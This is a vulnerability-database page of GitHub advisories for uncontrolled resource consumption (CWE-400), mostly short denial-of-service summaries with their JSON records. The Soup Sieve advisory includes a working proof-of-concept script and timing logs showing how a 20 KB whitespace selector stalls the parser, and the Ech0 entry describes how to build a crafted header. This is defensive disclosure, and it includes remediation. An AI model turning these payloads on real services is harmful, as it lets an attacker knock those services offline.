Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

6462 vulnerabilities reference this CWE, most recent first.

GHSA-J8HF-P5V4-XPJ9

Vulnerability from github – Published: 2025-04-29 03:30 – Updated: 2025-04-29 15:31
VLAI
Details

The issue was addressed with improved checks. This issue is fixed in macOS Sequoia 15.4, tvOS 18.4, macOS Ventura 13.7.5, iPadOS 17.7.6, macOS Sonoma 14.7.5, iOS 18.4 and iPadOS 18.4, visionOS 2.4. An attacker on the local network may cause an unexpected app termination.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-31197"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-416"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-29T03:15:34Z",
    "severity": "MODERATE"
  },
  "details": "The issue was addressed with improved checks. This issue is fixed in macOS Sequoia 15.4, tvOS 18.4, macOS Ventura 13.7.5, iPadOS 17.7.6, macOS Sonoma 14.7.5, iOS 18.4 and iPadOS 18.4, visionOS 2.4. An attacker on the local network may cause an unexpected app termination.",
  "id": "GHSA-j8hf-p5v4-xpj9",
  "modified": "2025-04-29T15:31:51Z",
  "published": "2025-04-29T03:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31197"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122371"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122372"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122373"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122374"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122375"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122377"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122378"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J8JC-X8V7-X64G

Vulnerability from github – Published: 2026-08-25 12:31 – Updated: 2026-08-25 12:31
VLAI
Details

Ech0 before 5.0.1 does not impose any size or shape limit on the Accept-Language header processed by its i18n middleware, which runs on every HTTP request. The header is passed unfiltered to go-i18n's NewLocalizer, which internally calls golang.org/x/text/language.ParseAcceptLanguage. The CVE-2022-32149 mitigation in x/text caps '-' characters but not '_' characters, which the parser aliases to '-', allowing quadratic-time parsing to be triggered with a large header (up to Go's default 1 MiB) built from underscore separators. An unauthenticated attacker can send such requests to consume roughly 1.5 seconds of CPU each, and concurrent requests can saturate a multi-core server (denial of service).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-79658"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T12:16:29Z",
    "severity": "HIGH"
  },
  "details": "Ech0 before 5.0.1 does not impose any size or shape limit on the Accept-Language header processed by its i18n middleware, which runs on every HTTP request. The header is passed unfiltered to go-i18n\u0027s NewLocalizer, which internally calls golang.org/x/text/language.ParseAcceptLanguage. The CVE-2022-32149 mitigation in x/text caps \u0027-\u0027 characters but not \u0027_\u0027 characters, which the parser aliases to \u0027-\u0027, allowing quadratic-time parsing to be triggered with a large header (up to Go\u0027s default 1 MiB) built from underscore separators. An unauthenticated attacker can send such requests to consume roughly 1.5 seconds of CPU each, and concurrent requests can saturate a multi-core server (denial of service).",
  "id": "GHSA-j8jc-x8v7-x64g",
  "modified": "2026-08-25T12:31:26Z",
  "published": "2026-08-25T12:31:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-mqxv-9rm6-w8qc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79658"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/ech0-before-denial-of-service-via-accept-language"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J8JP-C763-RC6R

Vulnerability from github – Published: 2026-04-06 21:31 – Updated: 2026-04-07 15:30
VLAI
Details

An issue was discovered in NAS in Samsung Mobile Processor, Wearable Processor, and Modem Exynos 980, 990, 850, 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 1580, 2500, 9110, W920, W930, W1000, Modem 5123, Modem 5300, and Modem 5400. Incorrect Handling of a DL NAS Transport packet leads to a Denial of Service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-54324"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-06T19:16:26Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in NAS in Samsung Mobile Processor, Wearable Processor, and Modem Exynos 980, 990, 850, 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 1580, 2500, 9110, W920, W930, W1000, Modem 5123, Modem 5300, and Modem 5400. Incorrect Handling of a DL NAS Transport packet leads to a Denial of Service.",
  "id": "GHSA-j8jp-c763-rc6r",
  "modified": "2026-04-07T15:30:46Z",
  "published": "2026-04-06T21:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54324"
    },
    {
      "type": "WEB",
      "url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates"
    },
    {
      "type": "WEB",
      "url": "https://semiconductor.samsung.com/support/quality-support/product-security-updates/cve-2025-54324"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J8M5-M975-227F

Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-06-29 00:00
VLAI
Details

The Integration Builder Framework of SAP Process Integration versions - 7.10, 7.11, 7.20, 7.30, 7.31, 7.40, 7.50, does not sufficiently validate an XML document uploaded from local source. An attacker can craft a malicious XML which when uploaded and parsed by the application, could lead to Denial-of-service conditions due to consumption of a large amount of system memory, thus highly impacting system availability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-27617"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-11T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Integration Builder Framework of SAP Process Integration versions - 7.10, 7.11, 7.20, 7.30, 7.31, 7.40, 7.50, does not sufficiently validate an XML document uploaded from local source. An attacker can craft a malicious XML which when uploaded and parsed by the application, could lead to Denial-of-service conditions due to consumption of a large amount of system memory, thus highly impacting system availability.",
  "id": "GHSA-j8m5-m975-227f",
  "modified": "2022-06-29T00:00:49Z",
  "published": "2022-05-24T19:02:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27617"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/3012021"
    },
    {
      "type": "WEB",
      "url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=576094655"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J8PH-6FXJ-G533

Vulnerability from github – Published: 2026-07-02 20:30 – Updated: 2026-07-02 20:30
VLAI
Summary
Steeltoe.Discovery.Eureka: Unrecognized DataCenterInfo.Name poisons entire registry fetch
Details

Summary

DataCenterInfo.FromJson throws ArgumentException for any name value other than "MyOwn" or "Amazon", despite the Java Eureka specification defining a third valid value: "Netflix". The exception propagates through the entire registry deserialization chain and is swallowed by the periodic cache refresh task, leaving the local service registry permanently empty or stale.

Impact

Any registration with an unrecognized DataCenterInfo.name permanently disables service discovery for every Steeltoe Eureka client connected to the same registry. New clients start with an empty registry and running clients stop refreshing. The outage persists until the triggering registration is removed.

Because "Netflix" is valid in the Java Eureka specification, a Java or Spring service in the same mesh can trigger this unintentionally.

Affected configuration

  • Application uses the Steeltoe Eureka client (EurekaDiscoveryClient).
  • The registry contains at least one registration with a DataCenterInfo.name value other than "MyOwn" or "Amazon".

Mitigations

If an immediate upgrade is not possible, remove any registrations using unsupported DataCenterInfo.name values from the registry. In mixed Java/Spring and Steeltoe environments, audit for the Netflix data center type before deploying Steeltoe Eureka clients.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.0"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Steeltoe.Discovery.Eureka"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.3.0"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "Steeltoe.Discovery.Eureka"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50196"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T20:30:03Z",
    "nvd_published_at": "2026-06-17T22:16:24Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`DataCenterInfo.FromJson` throws `ArgumentException` for any `name` value other than `\"MyOwn\"` or `\"Amazon\"`, despite the Java Eureka specification defining a third valid value: `\"Netflix\"`. The exception propagates through the entire registry deserialization chain and is swallowed by the periodic cache refresh task, leaving the local service registry permanently empty or stale.\n\n### Impact\n\nAny registration with an unrecognized `DataCenterInfo.name` permanently disables service discovery for every Steeltoe Eureka client connected to the same registry. New clients start with an empty registry and running clients stop refreshing. The outage persists until the triggering registration is removed.\n\nBecause `\"Netflix\"` is valid in the Java Eureka specification, a Java or Spring service in the same mesh can trigger this unintentionally.\n\n### Affected configuration\n\n- Application uses the Steeltoe Eureka client (`EurekaDiscoveryClient`).\n- The registry contains at least one registration with a `DataCenterInfo.name` value other than `\"MyOwn\"` or `\"Amazon\"`.\n\n### Mitigations\n\nIf an immediate upgrade is not possible, remove any registrations using unsupported `DataCenterInfo.name` values from the registry. In mixed Java/Spring and Steeltoe environments, audit for the `Netflix` data center type before deploying Steeltoe Eureka clients.",
  "id": "GHSA-j8ph-6fxj-g533",
  "modified": "2026-07-02T20:30:03Z",
  "published": "2026-07-02T20:30:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SteeltoeOSS/security-advisories/security/advisories/GHSA-j8ph-6fxj-g533"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50196"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SteeltoeOSS/Steeltoe/commit/b8ed8557bb595863e4f340051d16b26ba40a75f4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SteeltoeOSS/Steeltoe/commit/c34a7399e808d0d11dd977460e81df1f2722df28"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SteeltoeOSS/Steeltoe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Steeltoe.Discovery.Eureka: Unrecognized DataCenterInfo.Name poisons entire registry fetch"
}

GHSA-J8R5-239V-8HJW

Vulnerability from github – Published: 2022-05-14 03:22 – Updated: 2022-05-14 03:22
VLAI
Details

A vulnerability in MikroTik Version 6.41.4 could allow an unauthenticated remote attacker to exhaust all available CPU and all available RAM by sending a crafted FTP request on port 21 that begins with many '\0' characters, preventing the affected router from accepting new FTP connections. The router will reboot after 10 minutes, logging a "router was rebooted without proper shutdown" message.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-10070"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-04-16T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in MikroTik Version 6.41.4 could allow an unauthenticated remote attacker to exhaust all available CPU and all available RAM by sending a crafted FTP request on port 21 that begins with many \u0027\\0\u0027 characters, preventing the affected router from accepting new FTP connections. The router will reboot after 10 minutes, logging a \"router was rebooted without proper shutdown\" message.",
  "id": "GHSA-j8r5-239v-8hjw",
  "modified": "2022-05-14T03:22:02Z",
  "published": "2022-05-14T03:22:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10070"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/44450"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/147183/MikroTik-6.41.4-Denial-Of-Service.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J8WG-8FGF-X8C5

Vulnerability from github – Published: 2024-07-09 18:30 – Updated: 2024-07-09 18:30
VLAI
Details

Windows Line Printer Daemon Service Denial of Service Vulnerability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-38027"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-09T17:15:29Z",
    "severity": "MODERATE"
  },
  "details": "Windows Line Printer Daemon Service Denial of Service Vulnerability",
  "id": "GHSA-j8wg-8fgf-x8c5",
  "modified": "2024-07-09T18:30:51Z",
  "published": "2024-07-09T18:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38027"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38027"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J934-XHV5-FG8F

Vulnerability from github – Published: 2026-09-17 20:32 – Updated: 2026-09-17 20:32
VLAI
Summary
Soup Sieve: Polynomial-time ReDoS (O(n²)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)
Details

Summary

Before tokenizing, selector_iter trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with .search(). The trailing one, RE_WS_END = re.compile(r'{WSC}*$'), is anchored only at the end ($), not the start. Because .search() retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail $, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, a + " "*n + b — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.

Trust model (Q0)

The selector string is the input, reaching this code via soupsieve.compile(), the soupsieve.select/iselect/match/filter helpers, and BeautifulSoup's soup.select(selector) / soup.select_one(selector). Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.

Root cause (exact anchors) — src/soupsieve/css_parser.py

# line 185-186
RE_WS_BEGIN = re.compile(fr'^{WSC}*')   # anchored at start -> .search() only tries pos 0 -> linear (safe)
RE_WS_END   = re.compile(fr'{WSC}*$')   # NOT anchored at start -> .search() tries every offset

# selector_iter, lines ~1322-1326
m = RE_WS_BEGIN.search(pattern)
index = m.end(0) if m else 0
m = RE_WS_END.search(pattern)                     # <-- O(n^2) here
end = (m.start(0) - 1) if m else (len(pattern) - 1)

WSC = (?:{WS}|{COMMENTS}). For RE_WS_END = (?:WS|COMMENTS)*$, .search() walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, (?:WS|COMMENTS)* greedily consumes to the run's end, then $ fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). RE_WS_BEGIN avoids this because ^ pins it to a single start offset.

The intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored .search() of a *$ pattern is the defect.

Reproduction environment (discipline #12 — published artifact)

  • git HEAD 751c57b (2.9, PYTHONPATH=src): cd src && python3 ../poc/poc_redos_ws_trim.py.
  • Published PyPI soupsieve 2.8.4 (fresh uv pip install soupsieve beautifulsoup4): cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py → same O(n²) (evidence: poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log).
  • Python 3.11.15 and 3.14.6 both reproduce.

PoC (poc/poc_redos_ws_trim.py)

import sys, time
sys.path.insert(0, ".")
import soupsieve as sv

def ct(sel):
    t0 = time.perf_counter()
    try:
        sv.compile(sel); st = "ok"
    except Exception as e:
        st = type(e).__name__
    return time.perf_counter() - t0, st

print(f"soupsieve {sv.__version__}\n")

print("VALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):")
for n in (2000, 4000, 8000, 16000):
    dt, st = ct("a" + " " * n + "b")
    print(f"  n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms  [{st}]")

payload = "a" + " " * 20000 + "b"
dt, st = ct(payload)
print(f"\n[+] Single call: compile('a' + ' '*20000 + 'b')  (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s   [{st}]")

Isolated confirmation that the cost is in RE_WS_END.search specifically (poc/isolate_ws_trim.py): RE_WS_END on "div"+" "*n+">" is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored RE_WS_BEGIN on " "*n+"x" stays linear (32000→1.5 ms). Profiling compile shows the entire wall time in 2 re.Pattern.search calls, not .match.

Evidence — HEAD 2.9 (verbatim poc/evidence_redos_ws_trim.log)

soupsieve 2.9

VALID selector 'a' + ' '*n + 'b'  (descendant combinator, lots of whitespace):
  n=2000   len=2002        112.3 ms  [ok]
  n=4000   len=4002        411.5 ms  [ok]
  n=8000   len=8002       1602.9 ms  [ok]
  n=16000  len=16002      6464.1 ms  [ok]

VALID-looking 'a' + '/*x*/'*n + 'b'  (CSS comment run):
  n=1000   len=5002         48.9 ms  [SelectorSyntaxError]
  n=2000   len=10002       194.8 ms  [SelectorSyntaxError]
  n=4000   len=20002       780.2 ms  [SelectorSyntaxError]
  n=8000   len=40002      3145.3 ms  [SelectorSyntaxError]

[+] Single call: compile('a' + ' '*20000 + 'b')  (len=20002)
[+] wall time = 10.23 s   [ok]

Evidence — published 2.8.4 (verbatim poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log)

soupsieve 2.8.4

VALID selector 'a' + ' '*n + 'b':
  n=2000   len=2002        102.7 ms  [ok]
  n=4000   len=4002        404.3 ms  [ok]
  n=8000   len=8002       1618.2 ms  [ok]
  n=16000  len=16002      6457.9 ms  [ok]
[+] Single call: compile('a' + ' '*20000 + 'b')  wall time = 10.11 s   [ok]

Impact — calibrated

  • Confirmed: quadratic CPU per compile()/select() call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB → ~1.6 s; ~20 KB → ~10 s; scaling ~×4 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path.
  • Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.
  • NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.

Distinction from the IDENTIFIER/VALUE ReDoS

This is a separate root cause and a separate fix: the cost here is entirely in the RE_WS_END = {WSC}*$ trim step run with .search() before tokenizing (measured in re.Pattern.search), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token .match(). They can be fixed independently.

Remediation

  • Anchor or de-loop the trailing-trim step: instead of .search() of {WSC}*$, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or re.compile(r'^{WSC}*').match on a reversed-equivalent), so no per-offset retry occurs.
  • Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass *$ search.
  • Defense-in-depth: cap selector length before compiling.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "soupsieve"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85999"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T20:32:53Z",
    "nvd_published_at": "2026-09-17T16:18:16Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nBefore tokenizing, `selector_iter` trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with `.search()`. The trailing one, `RE_WS_END = re.compile(r\u0027{WSC}*$\u0027)`, is anchored only at the end (`$`), not the start. Because `.search()` retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail `$`, producing O(n\u00b2) time. This triggers on perfectly valid selectors \u2014 e.g. a descendant combinator with a long whitespace gap, `a` + `\" \"*n` + `b` \u2014 so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.\n\n## Trust model (Q0)\n\nThe selector string is the input, reaching this code via `soupsieve.compile()`, the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup\u0027s `soup.select(selector)` / `soup.select_one(selector)`. Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.\n\n## Root cause (exact anchors) \u2014 `src/soupsieve/css_parser.py`\n\n```python\n# line 185-186\nRE_WS_BEGIN = re.compile(fr\u0027^{WSC}*\u0027)   # anchored at start -\u003e .search() only tries pos 0 -\u003e linear (safe)\nRE_WS_END   = re.compile(fr\u0027{WSC}*$\u0027)   # NOT anchored at start -\u003e .search() tries every offset\n\n# selector_iter, lines ~1322-1326\nm = RE_WS_BEGIN.search(pattern)\nindex = m.end(0) if m else 0\nm = RE_WS_END.search(pattern)                     # \u003c-- O(n^2) here\nend = (m.start(0) - 1) if m else (len(pattern) - 1)\n```\n\n`WSC = (?:{WS}|{COMMENTS})`. For `RE_WS_END = (?:WS|COMMENTS)*$`, `.search()` walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, `(?:WS|COMMENTS)*` greedily consumes to the run\u0027s end, then `$` fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats \u2014 O(n) offsets \u00d7 O(n) per attempt = O(n\u00b2). `RE_WS_BEGIN` avoids this because `^` pins it to a single start offset.\n\nThe intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored `.search()` of a `*$` pattern is the defect.\n\n## Reproduction environment (discipline #12 \u2014 published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src \u0026\u0026 python3 ../poc/poc_redos_ws_trim.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc \u0026\u0026 ../.venv-published/bin/python poc_redos_ws_trim.py` \u2192 same O(n\u00b2) (evidence: `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_ws_trim.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef ct(sel):\n    t0 = time.perf_counter()\n    try:\n        sv.compile(sel); st = \"ok\"\n    except Exception as e:\n        st = type(e).__name__\n    return time.perf_counter() - t0, st\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"VALID selector \u0027a\u0027 + \u0027 \u0027*n + \u0027b\u0027  (descendant combinator, lots of whitespace):\")\nfor n in (2000, 4000, 8000, 16000):\n    dt, st = ct(\"a\" + \" \" * n + \"b\")\n    print(f\"  n={n:\u003c6} len={n+2:\u003c7} {dt*1000:9.1f} ms  [{st}]\")\n\npayload = \"a\" + \" \" * 20000 + \"b\"\ndt, st = ct(payload)\nprint(f\"\\n[+] Single call: compile(\u0027a\u0027 + \u0027 \u0027*20000 + \u0027b\u0027)  (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s   [{st}]\")\n```\n\nIsolated confirmation that the cost is in `RE_WS_END.search` specifically (`poc/isolate_ws_trim.py`): `RE_WS_END` on `\"div\"+\" \"*n+\"\u003e\"` is O(n\u00b2) (2000\u2192100 ms, 4000\u2192448 ms, 8000\u21921622 ms, 16000\u21926719 ms), while the start-anchored `RE_WS_BEGIN` on `\" \"*n+\"x\"` stays linear (32000\u21921.5 ms). Profiling `compile` shows the entire wall time in 2 `re.Pattern.search` calls, not `.match`.\n\n## Evidence \u2014 HEAD 2.9 (verbatim `poc/evidence_redos_ws_trim.log`)\n\n```\nsoupsieve 2.9\n\nVALID selector \u0027a\u0027 + \u0027 \u0027*n + \u0027b\u0027  (descendant combinator, lots of whitespace):\n  n=2000   len=2002        112.3 ms  [ok]\n  n=4000   len=4002        411.5 ms  [ok]\n  n=8000   len=8002       1602.9 ms  [ok]\n  n=16000  len=16002      6464.1 ms  [ok]\n\nVALID-looking \u0027a\u0027 + \u0027/*x*/\u0027*n + \u0027b\u0027  (CSS comment run):\n  n=1000   len=5002         48.9 ms  [SelectorSyntaxError]\n  n=2000   len=10002       194.8 ms  [SelectorSyntaxError]\n  n=4000   len=20002       780.2 ms  [SelectorSyntaxError]\n  n=8000   len=40002      3145.3 ms  [SelectorSyntaxError]\n\n[+] Single call: compile(\u0027a\u0027 + \u0027 \u0027*20000 + \u0027b\u0027)  (len=20002)\n[+] wall time = 10.23 s   [ok]\n```\n\n## Evidence \u2014 published 2.8.4 (verbatim `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\n\nVALID selector \u0027a\u0027 + \u0027 \u0027*n + \u0027b\u0027:\n  n=2000   len=2002        102.7 ms  [ok]\n  n=4000   len=4002        404.3 ms  [ok]\n  n=8000   len=8002       1618.2 ms  [ok]\n  n=16000  len=16002      6457.9 ms  [ok]\n[+] Single call: compile(\u0027a\u0027 + \u0027 \u0027*20000 + \u0027b\u0027)  wall time = 10.11 s   [ok]\n```\n\n## Impact \u2014 calibrated\n\n- Confirmed: quadratic CPU per `compile()`/`select()` call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB \u2192 ~1.6 s; ~20 KB \u2192 ~10 s; scaling ~\u00d74 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path.\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.\n\n## Distinction from the IDENTIFIER/VALUE ReDoS\n\nThis is a separate root cause and a separate fix: the cost here is entirely in the `RE_WS_END = {WSC}*$` trim step run with `.search()` before tokenizing (measured in `re.Pattern.search`), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token `.match()`. They can be fixed independently.\n\n## Remediation\n\n- Anchor or de-loop the trailing-trim step: instead of `.search()` of `{WSC}*$`, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or `re.compile(r\u0027^{WSC}*\u0027).match` on a reversed-equivalent), so no per-offset retry occurs.\n- Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass `*$` search.\n- Defense-in-depth: cap selector length before compiling.",
  "id": "GHSA-j934-xhv5-fg8f",
  "modified": "2026-09-17T20:32:53Z",
  "published": "2026-09-17T20:32:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-j934-xhv5-fg8f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85999"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facelessuser/soupsieve/commit/cf198fcddc9230f06ed39f974eba0ce076b85cda"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/facelessuser/soupsieve"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facelessuser/soupsieve/releases/tag/2.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Soup Sieve: Polynomial-time ReDoS (O(n\u00b2)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)"
}

GHSA-J93G-RP6M-J32M

Vulnerability from github – Published: 2026-06-11 17:10 – Updated: 2026-06-11 17:10
VLAI
Summary
